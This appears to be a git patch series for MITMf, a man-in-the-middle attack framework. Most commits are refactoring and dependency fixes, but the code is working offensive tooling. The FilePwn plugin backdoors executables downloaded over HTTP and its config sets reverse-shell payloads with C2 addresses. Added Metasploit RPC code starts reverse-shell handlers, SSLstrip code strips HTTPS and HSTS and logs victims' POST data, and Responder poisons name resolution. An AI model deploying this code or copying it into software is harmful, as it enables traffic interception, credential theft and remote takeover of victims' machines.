From 460399541fc44e1924e5b084fa3e94fd88c54503 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 13 Apr 2015 20:25:14 +0200 Subject: [PATCH 001/181] Modded Responder plugin to accomodate re-write Started converting all string formatting to format() API --- libs/responder | 2 +- mitmf.py | 58 +++++++++++++++++++++----------------------- plugins/Responder.py | 12 ++++----- 3 files changed, 34 insertions(+), 38 deletions(-) diff --git a/libs/responder b/libs/responder index e7a69e4..137e8ee 160000 --- a/libs/responder +++ b/libs/responder @@ -1 +1 @@ -Subproject commit e7a69e46c13f77c90300965a0897d13de6437f78 +Subproject commit 137e8eea61ef3c3d0426312a72894d6a4ed32cef diff --git a/mitmf.py b/mitmf.py index 42e8391..274a4fc 100755 --- a/mitmf.py +++ b/mitmf.py @@ -52,7 +52,7 @@ Banners().printBanner() if os.geteuid() != 0: sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?") -parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') +parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add MITMf options mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") @@ -80,29 +80,29 @@ try: for p in plugin_classes: plugins.append(p()) except: - print "Failed to load plugin class %s" % str(p) + print "Failed to load plugin class {}".format(p) #Give subgroup to each plugin with options try: for p in plugins: if p.desc == "": - sgroup = parser.add_argument_group("%s" % p.name,"Options for %s." % p.name) + sgroup = parser.add_argument_group(p.name,"Options for {}.".format(p.name)) else: - sgroup = parser.add_argument_group("%s" % p.name, p.desc) + sgroup = parser.add_argument_group(p.name, p.desc) - sgroup.add_argument("--%s" % p.optname, action="store_true",help="Load plugin %s" % p.name) + sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name)) if p.has_opts: p.add_options(sgroup) except NotImplementedError: - sys.exit("[-] %s plugin claimed option support, but didn't have it." % p.name) + sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name)) args = parser.parse_args() try: configfile = ConfigObj(args.configfile) except Exception, e: - sys.exit("[-] Error parsing config file: " + str(e)) + sys.exit("[-] Error parsing config file: {}".format(e)) config_args = configfile['MITMf']['args'] if config_args: @@ -117,14 +117,14 @@ if config_args: try: args.ip_address = get_if_addr(args.interface) if (args.ip_address == "0.0.0.0") or (args.ip_address is None): - sys.exit("[-] Interface %s does not have an assigned IP address" % args.interface) + sys.exit("[-] Interface {} does not have an assigned IP address".format(args.interface)) except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) + sys.exit("[-] Error retrieving interface IP address: {}".format(e)) try: args.mac_address = get_if_hwaddr(args.interface) except Exception, e: - sys.exit("[-] Error retrieving interface MAC address: %s" % e) + sys.exit("[-] Error retrieving interface MAC address: {}".format(e)) args.configfile = configfile #so we can pass the configobj down to all the plugins @@ -144,31 +144,27 @@ mitmf_logger.addHandler(fileHandler) ##################################################################################################### #All our options should be loaded now, pass them onto plugins -print "[*] MITMf v%s online... initializing plugins" % mitmf_version +print "[*] MITMf v{} online... initializing plugins".format(mitmf_version) load = [] for p in plugins: - try: - if vars(args)[p.optname] is True: - print "|_ %s v%s" % (p.name, p.version) - if hasattr(p, 'tree_output') and p.tree_output: - for line in p.tree_output: - print "| |_ %s" % line - p.tree_output.remove(line) + if vars(args)[p.optname] is True: + print "|_ {} v{}".format(p.name, p.version) + if hasattr(p, 'tree_output') and p.tree_output: + for line in p.tree_output: + print "| |_ {}".format(line) + p.tree_output.remove(line) - if getattr(args, p.optname): - p.initialize(args) - load.append(p) + if getattr(args, p.optname): + p.initialize(args) + load.append(p) - if vars(args)[p.optname] is True: - if hasattr(p, 'tree_output') and p.tree_output: - for line in p.tree_output: - print "| |_ %s" % line - - except Exception: - print "[-] Error loading plugin %s: %s" % (p.name, PrintException()) + if vars(args)[p.optname] is True: + if hasattr(p, 'tree_output') and p.tree_output: + for line in p.tree_output: + print "| |_ {}".format(line) #Plugins are ready to go, start MITMf if args.disproxy: @@ -204,9 +200,9 @@ else: p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it print "|" - print "|_ Sergio-Proxy v%s online" % sergio_version - print "|_ SSLstrip v%s by Moxie Marlinspike online" % sslstrip_version - print "|_ DNSChef v%s online\n" % dnschef_version + print "|_ Sergio-Proxy v{} online".format(sergio_version) + print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) + print "|_ DNSChef v{} online\n".format(dnschef_version) reactor.run() diff --git a/plugins/Responder.py b/plugins/Responder.py index 235cbdf..9c51545 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -45,25 +45,25 @@ class Responder(Plugin): except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - if options.Analyse: + if options.Analyze: self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - resp = ResponderMITMf() - resp.setCoreVars(options, config) + resp = ResponderMITMf(options, config) + #resp.setCoreVars(options, config) - result = resp.AnalyzeICMPRedirect() + result = resp.AnalyzeICMPRedirect(options.Analyze) if result: for line in result: self.tree_output.append(line) - resp.printDebugInfo() + #resp.printDebugInfo() resp.start() def plugin_reactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) def add_options(self, options): - options.add_argument('--analyze', dest="Analyse", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") + options.add_argument('--analyze', dest="Analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") From 8eb09309d2e60b4798b480f63adc45a0c5da254a Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 15 Apr 2015 00:40:01 +0200 Subject: [PATCH 002/181] Merged Filepwn plugin and config file changes --- config/mitmf.conf | 15 ++++++++---- libs/bdfactory | 2 +- plugins/FilePwn.py | 60 ++++++++++++++++++++++++++-------------------- 3 files changed, 45 insertions(+), 32 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index 9339e9e..f1f5b32 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -363,6 +363,7 @@ FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large CompressedFiles = True #True/False + [[[[LinuxIntelx86]]]] SHELL = reverse_shell_tcp # This is the BDF syntax HOST = 192.168.1.168 # The C2 @@ -378,10 +379,12 @@ MSFPAYLOAD = linux/x64/shell_reverse_tcp [[[[WindowsIntelx86]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic HOST = 192.168.1.16 - PORT = 4444 - SHELL = reverse_tcp_stager + PORT = 8443 + SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None ZERO_CERT = False PATCH_DLL = True @@ -389,10 +392,12 @@ [[[[WindowsIntelx64]]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic HOST = 192.168.1.16 PORT = 8088 - SHELL = reverse_shell_tcp - SUPPLIED_SHELLCODE = Nonepatchpatchpatch + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None ZERO_CERT = True PATCH_DLL = False MSFPAYLOAD = windows/x64/shell_reverse_tcp diff --git a/libs/bdfactory b/libs/bdfactory index 9ce83ea..e6af51b 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit 9ce83ead5ddc4daa798b0f144b3cfeece6809c19 +Subproject commit e6af51b0c921e7c3dd5bb10a0d7b3983f46ca32b diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 2d10897..987db4d 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -78,7 +78,7 @@ class FilePwn(Plugin): optname = "filepwn" desc = "Backdoor executables being sent over http using bdfactory" implements = ["handleResponse"] - tree_output = ["BDFProxy v0.2 online"] + tree_output = ["BDFProxy v0.3.2 online"] version = "0.2" has_opts = False @@ -123,8 +123,6 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] - self.output.append("BDFProxy by midnite_runr online") - def convert_to_Bool(self, aString): if aString.lower() == 'true': return True @@ -167,6 +165,10 @@ class FilePwn(Plugin): elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': cave_jumping = True + # if automatic override + if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + targetFile = pebin.pebin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.WindowsIntelx64['SHELL'], @@ -178,6 +180,7 @@ class FilePwn(Plugin): PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() ) result = targetFile.run_this() @@ -193,6 +196,10 @@ class FilePwn(Plugin): elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': cave_jumping = True + # if automatic override + if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + targetFile = pebin.pebin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.WindowsIntelx86['SHELL'], @@ -203,7 +210,8 @@ class FilePwn(Plugin): IMAGE_TYPE=self.WindowsType, PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']) + ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() ) result = targetFile.run_this() @@ -236,7 +244,7 @@ class FilePwn(Plugin): ) result = targetFile.run_this() - elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho + elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) targetFile.support_check() @@ -245,29 +253,29 @@ class FilePwn(Plugin): if targetFile.FAT_FILE is True: if self.FatPriority == 'x86': targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) result = targetFile.run_this() elif self.FatPriority == 'x64': targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), + OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx86['SHELL'], HOST=self.MachoIntelx86['HOST'], PORT=int(self.MachoIntelx86['PORT']), @@ -276,9 +284,9 @@ class FilePwn(Plugin): ) result = targetFile.run_this() - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), + OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx64['SHELL'], HOST=self.MachoIntelx64['HOST'], PORT=int(self.MachoIntelx64['PORT']), @@ -286,7 +294,7 @@ class FilePwn(Plugin): FAT_PRIORITY=self.FatPriority ) result = targetFile.run_this() - + self.patched.put(result) return @@ -464,7 +472,7 @@ class FilePwn(Plugin): patchCount = 0 wasPatched = False - + for info in zippyfile.infolist(): print "[*] >>> Next file in zipfile:", info.filename From be19a685b322226c7c4fd2642a22f1b04b368df5 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 15 Apr 2015 16:12:08 +0200 Subject: [PATCH 003/181] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 2d26056..109f42d 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,8 @@ If MITMf is not in your distros repo or you just want the latest version: - run the ```setup.sh``` script - run the command ```pip install -r requirements.txt``` to install all python dependencies +On Kali Linux, if you get an error while installing the pypcap package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pycap``` to fix it. + Availible plugins ================= - Responder - LLMNR, NBT-NS and MDNS poisoner From 3421c5af555cae4e3ee698372b1eee957e1f5062 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 15 Apr 2015 16:39:05 +0200 Subject: [PATCH 004/181] Update requirements.txt with missing dependencie --- requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 06c30e4..bd78b51 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,4 +9,5 @@ configobj pyyaml ua-parser Pillow -pefile \ No newline at end of file +pefile +pypcap From 360a6ba6ce3aced8eed1f3a13b5b2cc19c19f409 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 15 Apr 2015 17:16:28 +0200 Subject: [PATCH 005/181] addresses issue #63 --- plugins/Spoof.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 4b6d72e..ecf5fbe 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -120,7 +120,8 @@ class Spoof(Plugin): def finish(self): for protocol in self.protocolInstances: - protocol.stop() + if hasattr(protocol, 'stop'): + protocol.stop() if not self.manualiptables: IpTables.getInstance().Flush() From b91bb4271b6a6f25280f40ded47c9fdbdf8717d8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 15 Apr 2015 18:19:19 +0200 Subject: [PATCH 006/181] - Fixed bug where sometimes DNS wouldn't resolve local IP's - Added Metasploit integration to Filepwn plugin --- core/sslstrip/ClientRequest.py | 36 +++++++++++++------------ core/sslstrip/ServerConnection.py | 35 ++++++++++++------------ plugins/FilePwn.py | 45 +++++++++++++++++++++++++++++-- plugins/JavaPwn.py | 21 ++------------- requirements.txt | 3 ++- 5 files changed, 84 insertions(+), 56 deletions(-) diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 017118c..a132d2b 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -72,7 +72,7 @@ class ClientRequest(Request): if 'referer' in headers: real = self.urlMonitor.real if len(real) > 0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) + dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) if 'if-none-match' in headers: @@ -80,13 +80,13 @@ class ClientRequest(Request): if 'host' in headers: host = self.urlMonitor.URLgetRealHost(str(headers['host'])) - mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host)) + mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host)) headers['host'] = host self.setHeader('Host', host) if 'accept-encoding' in headers: del headers['accept-encoding'] - mitmf_logger.debug("Zapped encoding") + mitmf_logger.debug("[ClientRequest] Zapped encoding") if 'if-modified-since' in headers: del headers['if-modified-since'] @@ -117,7 +117,7 @@ class ClientRequest(Request): return "lock.ico" def handleHostResolvedSuccess(self, address): - mitmf_logger.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) + mitmf_logger.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -138,13 +138,13 @@ class ClientRequest(Request): url = 'http://' + host + path self.uri = url # set URI to absolute - if len(real) > 0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) + if real: + dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) - if len(patchDict) > 0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) + if patchDict: + dregex = re.compile("({})".format("|".join(map(re.escape, patchDict.keys())))) postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) @@ -155,22 +155,22 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - mitmf_logger.debug("Sending expired cookies...") + mitmf_logger.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): - mitmf_logger.debug("Sending spoofed favicon response...") + mitmf_logger.debug("[ClientRequest] Sending spoofed favicon response") self.sendSpoofedFaviconResponse() elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - mitmf_logger.debug("Sending request via SSL...(%s %s)" % (client,url)) + mitmf_logger.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - mitmf_logger.debug("Sending request via HTTP...") + mitmf_logger.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -189,7 +189,7 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) + mitmf_logger.debug("[ClientRequest] Host cached: {} {}".format(host, str(address))) return defer.succeed(address) else: @@ -197,20 +197,22 @@ class ClientRequest(Request): if self.resolver == 'dnschef': try: + mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") address = str(self.customResolver.query(host)[0].address) return defer.succeed(address) except Exception: - return defer.fail() - + mitmf_logger.debug("[ClientRequest] Exception occured, falling back to reactor.resolve()") + return reactor.resolve(host) + elif self.resolver == 'twisted': return reactor.resolve(host) def process(self): - mitmf_logger.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host'))) + mitmf_logger.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) host = self.getHeader('host').split(":")[0] if self.hsts: - host = self.urlMonitor.URLgetRealHost("%s"%host) + host = self.urlMonitor.URLgetRealHost(str(host)) deferred = self.resolveHost(host) deferred.addCallback(self.handleHostResolvedSuccess) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 72e3205..2ce07ac 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -70,18 +70,18 @@ class ServerConnection(HTTPClient): if self.command == 'GET': try: user_agent = parse(self.headers['user-agent']) - self.clientInfo = "%s [type:%s-%s os:%s] " % (self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) + self.clientInfo = "{0} [type:{1}-{2} os:{3}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) except: - self.clientInfo = "%s " % self.client.getClientIP() + self.clientInfo = "{} ".format(self.client.getClientIP()) - mitmf_logger.info(self.clientInfo + "Sending Request: %s" % self.headers['host']) + mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host'])) self.plugins.hook() self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("Sending header: (%s => %s)" % (header, value)) + mitmf_logger.debug("[ServerConnection] Sending header: ({} => {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() @@ -92,11 +92,11 @@ class ServerConnection(HTTPClient): elif 'keylog' in self.uri: self.plugins.hook() else: - mitmf_logger.warning("%s %s Data (%s):\n%s" % (self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], self.postData)) + mitmf_logger.warning("{0} {1} Data ({2}):\n{3}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], self.postData)) self.transport.write(self.postData) def connectionMade(self): - mitmf_logger.debug("HTTP connection made.") + mitmf_logger.debug("[ServerConnection] HTTP connection made.") self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -105,11 +105,11 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - mitmf_logger.debug("Got server response: %s %s %s" % (version, code, message)) + mitmf_logger.debug("[ServerConnection] Got server response: {0} {1} {2}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): - mitmf_logger.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value)) + mitmf_logger.debug("[ServerConnection] Receiving header ({}: {})".format(key, value)) if (key.lower() == 'location'): value = self.replaceSecureLinks(value) @@ -119,15 +119,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("Response is image content, not scanning...") + mitmf_logger.debug("[ServerConnection] Response is image content, not scanning...") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("Response is compressed...") + mitmf_logger.debug("[ServerConnection] Response is compressed...") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP()) + mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) elif (key.lower() == 'content-length'): self.contentLength = value @@ -164,10 +164,11 @@ class ServerConnection(HTTPClient): def handleResponse(self, data): if (self.isCompressed): - mitmf_logger.debug("Decompressing content...") + mitmf_logger.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() #mitmf_logger.debug("Read from server:\n" + data) + mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) data = self.replaceSecureLinks(data) res = self.plugins.hook() @@ -184,7 +185,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - mitmf_logger.info("Client connection dropped before request finished.") + mitmf_logger.info("[ServerConnection] Client connection dropped before request finished.") def replaceSecureLinks(self, data): if self.hsts: @@ -193,7 +194,7 @@ class ServerConnection(HTTPClient): patchDict = self.urlMonitor.patchDict if len(patchDict)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) + dregex = re.compile("({})".format("|".join(map(re.escape, patchDict.keys())))) data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) iterator = re.finditer(ServerConnection.urlExpression, data) @@ -202,13 +203,13 @@ class ServerConnection(HTTPClient): mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - mitmf_logger.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl)) + mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl #data.replace(url,nuevaurl) #data = self.urlMonitor.DataReemplazo(data) if len(sustitucion)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) + dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys())))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) #mitmf_logger.debug("HSTS DEBUG received data:\n"+data) @@ -227,7 +228,7 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("Found secure reference: " + url) + mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 987db4d..ed3e774 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -67,6 +67,7 @@ import multiprocessing from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin +from core.msfrpc import Msfrpc from plugins.plugin import Plugin from tempfile import mkstemp from configobj import ConfigObj @@ -79,7 +80,7 @@ class FilePwn(Plugin): desc = "Backdoor executables being sent over http using bdfactory" implements = ["handleResponse"] tree_output = ["BDFProxy v0.3.2 online"] - version = "0.2" + version = "0.3" has_opts = False def initialize(self, options): @@ -109,6 +110,20 @@ class FilePwn(Plugin): #NOT USED NOW #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) + #Metasploit options + msfcfg = options.configfile['MITMf']['Metasploit'] + rpcip = msfcfg['rpcip'] + rpcpass = msfcfg['rpcpass'] + + try: + self.msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary + self.msf.login('msf', rpcpass) + version = self.msf.call('core.version')['version'] + self.tree_output.append("Connected to Metasploit v%s" % version) + except Exception: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + + #FilePwn options self.userConfig = options.configfile['FilePwn'] self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] @@ -123,6 +138,32 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] + self.tree_output.append("Setting up Metasploit payload handlers") + + jobs = self.msf.call('job.list') + for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: + cmd = "use exploit/multi/handler\n" + cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) + cmd += "set LHOST {}\n".format(config["HOST"]) + cmd += "set LPORT {}\n".format(config["PORT"]) + cmd += "exploit -j\n" + + if jobs: + for pid, name in jobs.iteritems(): + info = self.msf.call('job.info', [pid]) + if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']): + #Create a virtual console + c_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [c_id, cmd]) + else: + #Create a virtual console + c_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [c_id, cmd]) + def convert_to_Bool(self, aString): if aString.lower() == 'true': return True @@ -300,7 +341,7 @@ class FilePwn(Plugin): except Exception as e: print 'Exception', str(e) - mitmf_logger.warning("EXCEPTION IN binaryGrinder %s", str(e)) + mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e)) return None def tar_files(self, aTarFileBytes, formatt): diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index f4a0bfb..15a292d 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -18,13 +18,13 @@ # USA # -import core.msfrpc as msfrpc import string import random import threading import sys import logging +from core.msfrpc import Msfrpc from plugins.plugin import Plugin from plugins.BrowserProfiler import BrowserProfiler from time import sleep @@ -71,7 +71,7 @@ class JavaPwn(BrowserProfiler, Plugin): self.black_ips = [] try: - msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary + msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] self.tree_output.append("Connected to Metasploit v%s" % version) @@ -233,20 +233,3 @@ class JavaPwn(BrowserProfiler, Plugin): self.send_command(cmd, msf, vic_ip) self.injectWait(msf, rand_url, vic_ip) sleep(1) - - def finish(self): - '''This will be called when shutting down''' - msf = msfrpc.Msfrpc({"host": 